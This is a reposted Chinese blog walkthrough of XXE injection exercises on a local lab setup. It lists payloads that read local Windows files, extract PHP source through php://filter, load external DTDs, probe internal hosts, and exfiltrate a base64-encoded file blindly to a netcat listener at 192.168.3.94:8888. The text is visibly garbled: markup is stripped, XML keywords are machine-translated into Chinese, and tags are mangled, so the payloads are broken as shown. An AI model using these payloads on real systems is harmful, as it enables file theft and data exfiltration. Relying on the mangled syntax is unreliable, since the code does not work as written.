PICK(pick怎么读)

PICKPICK-xxe注入
1.POC:攻击测试

<!DOCTYPE foo [

]>
&xxe;
<!–

PICK-xxe注入

1.POC:攻击测试

?xml 版本=\’1.0\’?

!DOCTYPE foo [

!ENTITY xxe ‘仙女’

]

fooxxe;/foo

!– 定义实体xxe 值为“fairy”–

!– 使用实体xxe 并打印其值–

2.EXP:查看文件

?xml 版本=\’1.0\’?

!DOCTYPE foo [

!ENTITY xxe 系统\’file:///D:/1234.txt\’

]

fooxxe;/foo

3.EXP:查看源码

创建PHP 文件

?php

phpinfo();

?xml 版本=\’1.0\’?

!DOCTYPE foo [

!ENTITY xxe 系统\’php://filter/convert.base64-encode/resource=D:/1.php\’

]

fooxxe;/foo

!– 定义外部实体xxe来读取指定本地文件并进行base64编码–

4.EXP:DTD外部调用

创建一个DTD文件:

!ENTITY 邪恶系统\’file:///C:/windows/system.ini\’

!ENTITY 邪恶系统\’file:///C:/windows/win.ini\’

输入框输入:

!DOCTYPE foo[

!元素foo 任意

!实体%xxe系统\’http://127.0.0.1/1dtd\’%xxe;

]

坏人;/fuu

5.EXP:探测内网存活主机与开放端口

开启监听端口

数控-lvvp 8888

编写代码

返回虚拟机主机信息

这个地址就是虚拟机的地址。

?xml 版本=\’1.0\’ 编码=\’UTF-8\’?

!DOCTYPE foo [

!元素foo 任何

!实体兔子系统\’http://192.168.3.94:8888\’]

x兔子;/x

6.EXP:无回显值

这个问题没有echo 值,所以我会在本地假设1234.txt 是服务器的标志(如果您有服务器,请使用它)。服务器)。

Kali作为监听端口,通过传递数据包中的参数(在请求体中的URL/post后获取)来检索没有回显位置的数据。

用虚拟机进行端口监听,获得数据包,

检查是否可以成功ping 通主机和虚拟机。如果没有,请关闭防火墙。

python2 -m SimpleHTTPServer 8888/nc -lvvp 8888

创建DTD,访问kali端口,数据包通过此端口

!ENTITY % start \’!ENTITY #x25; 发送SYSTEM \’http://192.168.3.94:8888/?%file;\’\’

开始;

调用DTD,得到本机上base64flag值

?xml 版本=\’1.0\’?

!DOCTYPE 消息[

!ENTITY % 远程系统\’http://127.0.0.1/2.dtd\’

!ENTITY % 文件系统\’php://filter/read=convert.base64-encode/resource=file:///D:/1234.txt\’ %remote;

发送;]

解码

我发现flag的值

以上有关#PICK的相关内容来源仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93778.html

(0)
CSDN's avatarCSDN
上一篇 2024年7月26日 下午1:41
下一篇 2024年7月26日 下午1:41

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注